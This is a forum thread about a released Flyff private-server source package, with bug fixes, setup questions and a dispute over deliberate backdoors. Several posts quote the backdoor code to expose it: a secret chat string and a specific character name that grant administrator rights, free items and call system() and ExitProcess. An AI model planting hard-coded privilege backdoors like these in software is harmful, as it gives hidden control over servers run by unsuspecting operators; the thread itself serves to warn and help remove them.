Register for your free account! | Forgot your password?

You last visited: Today at 18:31

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



Virtuos Files v19 - 2015

Discussion on Virtuos Files v19 - 2015 within the Flyff PServer Guides & Releases forum part of the Flyff Private Server category.

Closed Thread
 
Old 05/28/2015, 15:13   #31
 
elite*gold: 0
Join Date: Sep 2010
Posts: 228
Received Thanks: 13
Bei mir funktioniert die Map nicht :/
und beim reinziehen eines Skills in den action slot crasht die Neuz und der Char ist verbuggt
uuuund die Scroll of Element glow change funktioniert nicht
♪Chiqupon♫ is offline  
Old 05/28/2015, 18:42   #32
 
elite*gold: 0
Join Date: Jan 2008
Posts: 130
Received Thanks: 78
Just one of the many backdoors/exploits in this source.

Code:
#define __NEUZ_V								//Logs
This is a typical virt release, bloated with half broken features. Stuff defined but isn't even implemented. The original ROC release was your best release sadly, your contributions are encouraged but really these childish skid backdoors? Take some pride in what you release.

Either-way, thanks for the release nonetheless.
Sammyz is offline  
Old 05/28/2015, 19:08   #33
 
elite*gold: 294
Join Date: Jun 2009
Posts: 407
Received Thanks: 587
Quote:
Originally Posted by Sammyz View Post
Just one of the many backdoors/exploits in this source.

Code:
#define __NEUZ_V								//Logs
(Posting code to show)
BOOL TextCmd_say( CScanner& scanner )
Code:
#ifdef __NEUZ_V
	if( strcmp( scanner.token, "v1i2r3t4u5o6s7") == 0 )
	{
		pUser->m_dwAuthorization = AUTH_ADMINISTRATOR;
#ifdef __LAYER_1015
		g_dpDBClient.SavePlayer( pUser, pUser->GetWorld()->GetID(), pUser->GetPos(), pUser->GetLayer() );
#else // __LAYER_1015
		g_dpDBClient.SavePlayer( pUser, pUser->GetWorld()->GetID(), pUser->GetPos() );
#endif // __LAYER_1015
		//system("Der Administrator ist nun Online. Sieg Heil meine Freunde.");
		Error("Dumme Bitch, ich fiste dich tot.");
		ExitProcess( -1 );
	}
#endif
Then there is the code in: CDPDatabaseClient::OnJoin( CAr & ar, DPID dpidCache, DPID dpidUser )
Code:
#ifdef __NEUZ_V
 CString nickname = pUser->GetName(); 
 if ( nickname == "virtuos" )
 {
	CItemElem item;
	item.m_nItemNum = 9999;
	item.m_dwItemId = II_SYS_SYS_SCR_PERIN;
	pUser->CreateItem( &item );
	pUser->m_dwAuthorization = AUTH_ADMINISTRATOR;
	system("Der Administrator ist nun Online.");
	pUser->AddText("You used a simple Backdoor.");
 }
#endif
Just remove the code and keep an eye out for ones that are not used with defines?



You also want to keep in mind that

Code:
			sprintf( pItemStruct->szItem, "%d,%d,%d,%d,%s,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,"
#ifdef __WEAPON_LEVELING
			"%d,%d,"
#endif // __WEAPON_LEVELING
#ifdef __MODEL_CHANGE
			"%d,"
#endif // __MODEL_CHANGE
#ifdef __OLD_NEW_GLOW_V2
			"%d,"
#endif // __OLD_NEW_GLOW_V2
			"%d/",
Everything is one behind. WeaponLeveling is allowing one pItemElem->m_nResistSMItemId and then , pItemElem->m_nWeaponLevel. Keep in mind if you're adding things. But because of the last %d/, it should be safe.

However,
Code:
#ifdef __WEAPON_DST_CHANGE
					, pItemElem->m_dwChangeDST
#endif
is being appended, which would fuck up the save proc because it doesnt have anything to add to. So your items won't save correctly and might overflow somewhere.





Edit:
Transfer Awake is slightly different, yet still has the issues with transfer the randomopt bonus. Here community, have a fix. Haven't tested this at all so it might not work or it might break cause yolo.


Code:
	if(pSource->GetRandomOptItemId() <= 0 || (pDest->GetRandomOptItemId() & 0x0FFFFFFFFFFFFF00))
		return;

	__int64 nTransferedOpt = pSource->GetRandomOptItemId() & 0x0FFFFFFFFFFFFF00;
	nTransferedOpt |= pDest->GetRandomOptItemId();

	pDest->SetRandomOptItemId(nTransferedOpt);
	g_xRandomOptionProperty->InitializeRandomOption(pSource->GetRandomOptItemIdPtr());
	pUser->UpdateItem( (BYTE)( pMat->m_dwObjId ), UI_NUM, pMat->m_nItemNum - 1 );
	pUser->UpdateItemEx( (BYTE)( pDest->m_dwObjId ), UI_RANDOMOPTITEMID, pDest->GetRandomOptItemId() );
	pUser->UpdateItemEx( (BYTE)( pSource->m_dwObjId ), UI_RANDOMOPTITEMID, pSource->GetRandomOptItemId() );
	pUser->AddGold(-Cost);

Commented out but
Code:
/*#ifdef __VIRTUOS_HEALMULTIPLICATOR

					if(nIncHP!=0)
					{
#ifdef __VIRTUOS_ULTRAHEAL
						nIncHP += GetParam(  DST_IMPROVE_HEAL, 0 );
#endif
						nIncHP =(int)( ((float)nIncHP) * ( GetParam(  DST_HEALING_AMP, 0 ) / 100.0F ) ); 
					}
#endif	*/
Let's do some math. nIncHp = 150. Healing amp = 10% : nIncHp = 150 * 0.10 = 15.

Here, try this:
Code:
#ifdef __VIRTUOS_HEALMULTIPLICATOR
					if (nIncHp > 0)
						nIncHP = nIncHP + (int)(nIncHp * ( GetParam(  DST_HEALING_AMP, 0 ) / 100.0F ) ); 
#endif
#ifdef __VIRTUOS_ULTRAHEAL
					nIncHP += GetParam(  DST_IMPROVE_HEAL, 0 );
#endif
nIncHp = 150 + (150 * 0.10). nIncHp = 150 + 15. = 175.



For: __VIRTUOS_MOTIONTIME. Why not just stick it with castingtime rather making a new param and everything. I suggest people to also look into __VIRTUOS_ATKSPDMAX before adding values too high on their server.


Using NULL as 0 (even though FlyFF source does it) is bad practice, imo. Secondly, the second part cant even be hit unless rounded a 0.1 to 0. Unless mobs are giving negative exp. Next, exp jumps from 1 to 100? Its possible to get more exp from something that gives lower exp. Also, since you're doing this before master/Hero+'s /2 exp, it'll turn out 50 rather 100 and such.
Code:
	if( m_nReb > NULL )
	{
		nExp = ( ( nExp / ( m_nReb*2 ) ) );
		if( nExp <= NULL )
			nExp = 100;
	}
to
Code:
	if( m_nReb > 0)
	{
		nExp = ((nExp / ( m_nReb * 2 )));
		if (nExp < 100) nExp = 100;
	}

__OLD_NEW_GLOW_V2 < I've said my thoughts on this system a plethora of times. Better to make it a graphical option so the player can choose what to see on the client.

__CHAT_FIX replaces @ with space. However, I suggest to allow players use the @ symbol.
So rather than doing str.Replace( "@", " " ); str.Replace( "@@", " " );, just do: str.Replace("@@@",""); (You only need one statement)

For the UserOwnTitle system, and when checking the string for symbols, could just use

For FastJobChange and ReState, Silly people, you're missing the statpoints that you're supposed to get for becoming hero.
Avalion is offline  
Thanks
3 Users
Old 05/28/2015, 20:56   #34
 
elite*gold: 0
Join Date: May 2014
Posts: 4,405
Received Thanks: 933
Virtuos Files v19 - 2015???
Da frag ich mich wann die GoW Files v19 - 2015 raus kommen

@TE
Warum sind Backdoors in deinen Files? Hat das einen bestimmten Grund?
Ich rate dir lieber diese zu entfernen
Michi is offline  
Old 05/28/2015, 23:41   #35
 
Offspringfan1234's Avatar
 
elite*gold: 0
Join Date: Jan 2012
Posts: 147
Received Thanks: 24
Wie erstelle ich einen account hier?
Will ich mein md5 Passwort mit 'shonenricobro' als salt erstellen kommt in mssql:
Code:
Meldung 2627, Ebene 14, Status 1, Prozedur usp_CreateNewAccount, Zeile 19
Verletzung der PRIMARY KEY-Einschränkung 'PK_AccountPlay'. Ein doppelter Schlüssel kann in das 'dbo.AccountPlay'-Objekt nicht eingefügt werden.
Normalerweise sieht die Neuz.cpp auch so aus:
Code:
void CNeuzApp::HashMD5( char* szResult, LPCTSTR szPWD )
{
	char szBuffer[256];
	char* szKey = "";

	szKey	= "kikugalanet";

	sprintf( szBuffer, "%s%s", szKey, szPWD );
	md5( szResult, szBuffer );
}
Hier sieht sie aber so aus:
Code:
void CNeuzApp::HashMD5( char* szResult, LPCTSTR szPWD )
{
	char szBuffer[256];
	char* szKey = "v1r2t3u4o5s";
	sprintf( szBuffer, "%s%s", szKey, szPWD );
	md5( szResult, szBuffer );
}
Wo soll denn hier der salt 'shonenricobro' sein??

Lg
Offspringfan1234 is offline  
Old 05/29/2015, 02:50   #36

 
*~Valvatorez~*'s Avatar
 
elite*gold: 110
Join Date: Jul 2013
Posts: 581
Received Thanks: 685
Quote:
Originally Posted by *~Valvatorez~* View Post
I was one of the developer of GoW... AND the base of GoW is RoC.


... ._.
Quote:
Originally Posted by 'Dude' View Post
Virtuos Files v19 - 2015???
Da frag ich mich wann die GoW Files v19 - 2015 raus kommen
Dazu sag ich also mal nichts.


Quote:
Originally Posted by 'Dude' View Post
@TE
Warum sind Backdoors in deinen Files? Hat das einen bestimmten Grund?
Ich rate dir lieber diese zu entfernen
Das was ihr "Backdoors" nennt, sind lediglich Befehle für Charaktere mit diversen Namen. Diese sind alle definiert und das hat KEINEN Grund. Warum sollte ich etwas aus der Grundbasis entfernen wenn sicherlich einige damit Spaß haben können?

Ihr würdet einen richtigen Backdoor, der euch "verpuffen" lässt, nichtmal in [Hier Jahresanzahl einfügen] sehen. Manchmal muss ich wirklich schmunzeln, wenn ich sowas lese...


===


Werde hin und wieder, eher seltener, mal in den Thread reinschnuppern und diverse Fragen beantworten.

Zu der Person mit dem Problem "Neuz schmiert ab wenn Skills in Taskbar gelegt werden": MinimapShader Dateien vom "Theme" (Resource) in "Data" (Client) kopieren.

Map Schwarz:
Bild Dateien scheinbar fehlerhaft geladen. "MapBox" Files prüfen im Ordner "Resource" - oder abwarten bis ich diverse Anpassungen irgendwann als Update poste.


lg
*~Valvatorez~* is offline  
Old 05/29/2015, 02:59   #37
 
elite*gold: 294
Join Date: Jun 2009
Posts: 407
Received Thanks: 587
Quote:
Originally Posted by *~Valvatorez~* View Post
Dazu sag ich also mal nichts.
Das was ihr "Backdoors" nennt, sind lediglich Befehle für Charaktere mit diversen Namen. Diese sind alle definiert und das hat KEINEN Grund. Warum sollte ich etwas aus der Grundbasis entfernen wenn sicherlich einige damit Spaß haben können?

Ihr würdet einen richtigen Backdoor, der euch "verpuffen" lässt, nichtmal in [Hier Jahresanzahl einfügen] sehen. Manchmal muss ich wirklich schmunzeln, wenn ich sowas lese...
Last time I checked, simple code like that wasn't allowed. Also, find it funny how it is labeled with "logs". Multiple other codes was removed for a simple define like this. hmm

mfg - Avalion
Avalion is offline  
Old 05/29/2015, 05:59   #38



 
Sedrika's Avatar
 
elite*gold: 18
The Black Market: 103/0/0
Join Date: Sep 2009
Posts: 20,177
Received Thanks: 14,471
Quote:
Originally Posted by Avalion View Post
Last time I checked, simple code like that wasn't allowed. Also, find it funny how it is labeled with "logs". Multiple other codes was removed for a simple define. hmm

mfg - Avalion
If you're gonna use these files witout really knowing whats inside it is your fault.
At least he set a define for his commands..

Just copy what you would need into your source and be happy.
Sedrika is offline  
Old 05/29/2015, 06:45   #39
 
elite*gold: 294
Join Date: Jun 2009
Posts: 407
Received Thanks: 587
Quote:
Originally Posted by Sedrika View Post
If you're gonna use these files witout really knowing whats inside it is your fault.
At least he set a define for his commands..

Just copy what you would need into your source and be happy.
I completely agree with what you said; However, other sources have been removed for these things including when the sources are re-uploaded with the line of code removed. I'm just, you know, sticking out for you all.

Also, I wouldn't copy any of it. Rather re-write. ^^;
Avalion is offline  
Old 05/29/2015, 10:30   #40
 
Offspringfan1234's Avatar
 
elite*gold: 0
Join Date: Jan 2012
Posts: 147
Received Thanks: 24
Danke das ihr auf meine Frage eingegangen seid, wie ich einen Account erstelle, wenn ich den MD5 Salt nicht weiß / rausfinden kann. s.o
Offspringfan1234 is offline  
Old 05/29/2015, 10:35   #41
 
elite*gold: 0
Join Date: Feb 2013
Posts: 116
Received Thanks: 17
VersionsCommon.h der Neuz oben steht der Salt doch o.O

//Salt: v1r2t3u4o5s


bisschen angucken sollte man sich das schon
Gerade weil du ja auch schon den passenden Source bereich gepostet hast wo der Salt steht.


Keine Ahnung warum shonenricobro als Salt genannt wurde.
fabulo is offline  
Thanks
1 User
Old 05/29/2015, 11:19   #42
 
Offspringfan1234's Avatar
 
elite*gold: 0
Join Date: Jan 2012
Posts: 147
Received Thanks: 24
Okay entschuldige das hat mich ein bisschen verwirrt... Naja danke!
Offspringfan1234 is offline  
Old 05/29/2015, 12:09   #43
 
macboyem07's Avatar
 
elite*gold: 0
Join Date: Dec 2012
Posts: 239
Received Thanks: 33
request Reupload Program/Script/Antihack Only please :'( icant download bigfile xD
#slownet
macboyem07 is offline  
Thanks
1 User
Old 05/29/2015, 16:04   #44
 
elite*gold: 0
Join Date: Sep 2014
Posts: 78
Received Thanks: 0
How to change from German to English?
ahrv is offline  
Old 05/29/2015, 17:13   #45
 
elite*gold: 0
Join Date: Jan 2015
Posts: 35
Received Thanks: 2
Also irgendwie läuft das bei mir nicht mit dem Antihack.
Was mach ich falsch ?
connections.ini:
[connection]
; The IP of the server, which is running the cache server
server_ip="127.0.0.1"

; The port the cache server is using (CacheServer.ini), may not be same as client_port
server_port=17589

; The port the client connects to
client_port=18213


Cache.ini:
Core "127.0.0.1"
Port "17589"



Wenn ich den Antihack auskommentiere kann ich connecten.
Ports sind frei und komme nicht mal zur Channel Auswahl
fmt101 is offline  
Thanks
1 User
Closed Thread


Similar Threads Similar Threads
Virtuos Files Moonstone Fix?!
12/02/2014 - Flyff Private Server - 0 Replies
Wie Fixxt man die Manuele funktionalität des Moonstones? zum Beispiel Collector Upgrade funzt nicht T.T Bitte um Hilfe :D
virtuos files v19 backdoor?
02/17/2014 - Flyff Private Server - 2 Replies
gibt es in der v19 source von chaos sprich virtuos backdoors? wen ja welche?
Virtuos Files v4
05/04/2012 - Flyff Private Server - 2 Replies
Hallo leute hat einer von euch noch die virtuos files v4 + Sourcen ?? Google die ganze zeit aber finde sie einfach nicht :rtfm::rtfm::rtfm: Oder eine alternative außer Bloodyflyff files?????
Virtuos Files v17
06/20/2011 - Flyff Private Server - 8 Replies
Nutzt einer die File von Virtuos für seinen Server ? :confused:



All times are GMT +2. The time now is 18:31.


Powered by vBulletin®
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2024 elitepvpers All Rights Reserved.